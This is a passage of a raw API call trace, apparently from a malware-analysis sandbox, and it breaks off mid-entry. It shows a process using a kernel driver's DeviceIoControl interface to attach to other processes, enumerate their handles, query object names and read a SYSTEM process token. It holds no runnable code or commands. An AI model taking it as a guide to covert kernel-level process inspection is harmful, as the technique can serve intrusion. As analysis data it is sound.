[0121.456] ObfDereferenceObject (Object=0xfffffa8003212420) returned 0x2 [0121.456] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.456] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.456] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.456] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.456] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.456] PsAcquireProcessExitSynchronization () returned 0x0 [0121.456] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.456] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002fc2070, HandleInformation=0x0) returned 0x0 [0121.456] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.456] PsReleaseProcessExitSynchronization () returned 0x2 [0121.456] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.456] ObQueryNameString (in: Object=0xfffffa8002fc2070, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.456] ObfDereferenceObject (Object=0xfffffa8002fc2070) returned 0x2 [0121.456] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.456] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.456] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.456] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.457] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.457] PsAcquireProcessExitSynchronization () returned 0x0 [0121.457] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.457] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002fbd540, HandleInformation=0x0) returned 0x0 [0121.457] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.457] PsReleaseProcessExitSynchronization () returned 0x2 [0121.457] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.457] ObQueryNameString (in: Object=0xfffffa8002fbd540, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.457] ObfDereferenceObject (Object=0xfffffa8002fbd540) returned 0x2 [0121.457] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.457] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.457] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e0) returned 0xc0 [0121.457] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0121.457] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8003055910, HandleInformation=0x0) returned 0x0 [0121.457] ObOpenObjectByPointer (in: Object=0xfffffa8003055910, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000550) returned 0x0 [0121.457] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdc [0121.457] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000550, DesiredAccess=0x8, TokenHandle=0xfffffa80036b6180 | out: TokenHandle=0xfffffa80036b6180*=0xc8) returned 0x0 [0121.457] ZwClose (Handle=0xffffffff80000550) returned 0x0 [0121.457] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.457] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0121.457] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0121.459] CloseHandle (hObject=0xc8) returned 1 [0121.459] CloseHandle (hObject=0xc0) returned 1 [0121.459] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.459] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.459] PsAcquireProcessExitSynchronization () returned 0x0 [0121.459] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.459] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800302d760, HandleInformation=0x0) returned 0x0 [0121.459] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.459] PsReleaseProcessExitSynchronization () returned 0x2 [0121.459] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.459] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.459] ObfDereferenceObject (Object=0xfffffa800302d760) returned 0x1 [0121.459] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.459] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.459] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.459] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.459] PsAcquireProcessExitSynchronization () returned 0x0 [0121.459] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.459] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089fcde0, HandleInformation=0x0) returned 0x0 [0121.459] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.459] PsReleaseProcessExitSynchronization () returned 0x2 [0121.459] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.459] ObQueryNameString (in: Object=0xfffff8a0089fcde0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.460] ObfDereferenceObject (Object=0xfffff8a0089fcde0) returned 0x2 [0121.460] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.460] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.460] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0121.460] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.460] PsAcquireProcessExitSynchronization () returned 0x0 [0121.460] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.460] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089f6320, HandleInformation=0x0) returned 0x0 [0121.460] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.460] PsReleaseProcessExitSynchronization () returned 0x2 [0121.460] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.460] ObQueryNameString (in: Object=0xfffff8a0089f6320, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.460] ObfDereferenceObject (Object=0xfffff8a0089f6320) returned 0x2 [0121.460] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.460] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.460] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.460] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.460] PsAcquireProcessExitSynchronization () returned 0x0 [0121.460] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.460] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003086a20, HandleInformation=0x0) returned 0x0 [0121.460] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.460] PsReleaseProcessExitSynchronization () returned 0x2 [0121.460] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.460] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.460] ObfDereferenceObject (Object=0xfffffa8003086a20) returned 0x1 [0121.460] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.460] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.460] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.461] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.461] PsAcquireProcessExitSynchronization () returned 0x0 [0121.461] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.461] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800302d280, HandleInformation=0x0) returned 0x0 [0121.461] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.461] PsReleaseProcessExitSynchronization () returned 0x2 [0121.461] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.461] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.461] ObfDereferenceObject (Object=0xfffffa800302d280) returned 0x1 [0121.461] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.461] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.461] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.461] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.461] PsAcquireProcessExitSynchronization () returned 0x0 [0121.461] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.461] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001049560, HandleInformation=0x0) returned 0x0 [0121.461] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.461] PsReleaseProcessExitSynchronization () returned 0x2 [0121.461] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.461] ObQueryNameString (in: Object=0xfffff8a001049560, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.461] ObfDereferenceObject (Object=0xfffff8a001049560) returned 0x2 [0121.461] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.461] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.461] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0121.461] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.461] PsAcquireProcessExitSynchronization () returned 0x0 [0121.461] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.461] ObReferenceObjectByHandle (in: Handle=0x2a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800302c5d0, HandleInformation=0x0) returned 0x0 [0121.462] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.462] PsReleaseProcessExitSynchronization () returned 0x2 [0121.462] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.462] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.462] ObfDereferenceObject (Object=0xfffffa800302c5d0) returned 0x1 [0121.462] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.462] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.462] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.462] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.463] PsAcquireProcessExitSynchronization () returned 0x0 [0121.463] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.463] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030a0820, HandleInformation=0x0) returned 0x0 [0121.463] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.464] PsReleaseProcessExitSynchronization () returned 0x2 [0121.464] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.464] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.464] ObfDereferenceObject (Object=0xfffffa80030a0820) returned 0x1 [0121.464] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.464] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.464] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0121.464] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.464] PsAcquireProcessExitSynchronization () returned 0x0 [0121.464] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.464] ObReferenceObjectByHandle (in: Handle=0x358, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030a0bb0, HandleInformation=0x0) returned 0x0 [0121.464] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.464] PsReleaseProcessExitSynchronization () returned 0x2 [0121.464] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.464] ObQueryNameString (in: Object=0xfffffa80030a0bb0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.464] ObfDereferenceObject (Object=0xfffffa80030a0bb0) returned 0x1 [0121.464] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.464] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.464] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.464] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.464] PsAcquireProcessExitSynchronization () returned 0x0 [0121.464] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.464] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800829a350, HandleInformation=0x0) returned 0x0 [0121.464] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.464] PsReleaseProcessExitSynchronization () returned 0x2 [0121.464] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.464] ObQueryNameString (in: Object=0xfffffa800829a350, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.465] ObfDereferenceObject (Object=0xfffffa800829a350) returned 0x1 [0121.465] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.465] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0121.465] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.465] PsAcquireProcessExitSynchronization () returned 0x0 [0121.465] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.465] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80118c8540, HandleInformation=0x0) returned 0x0 [0121.465] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.465] PsReleaseProcessExitSynchronization () returned 0x2 [0121.465] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.465] ObQueryNameString (in: Object=0xfffffa80118c8540, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.465] ObfDereferenceObject (Object=0xfffffa80118c8540) returned 0x1 [0121.465] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.465] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0121.465] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.465] PsAcquireProcessExitSynchronization () returned 0x0 [0121.465] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880044355d0) [0121.465] ObReferenceObjectByHandle (in: Handle=0x3c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80118c82a0, HandleInformation=0x0) returned 0x0 [0121.465] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.465] PsReleaseProcessExitSynchronization () returned 0x2 [0121.465] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xda [0121.465] ObQueryNameString (in: Object=0xfffffa80118c82a0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.466] ObfDereferenceObject (Object=0xfffffa80118c82a0) returned 0x2 [0121.466] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.466] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.466] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.466] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, 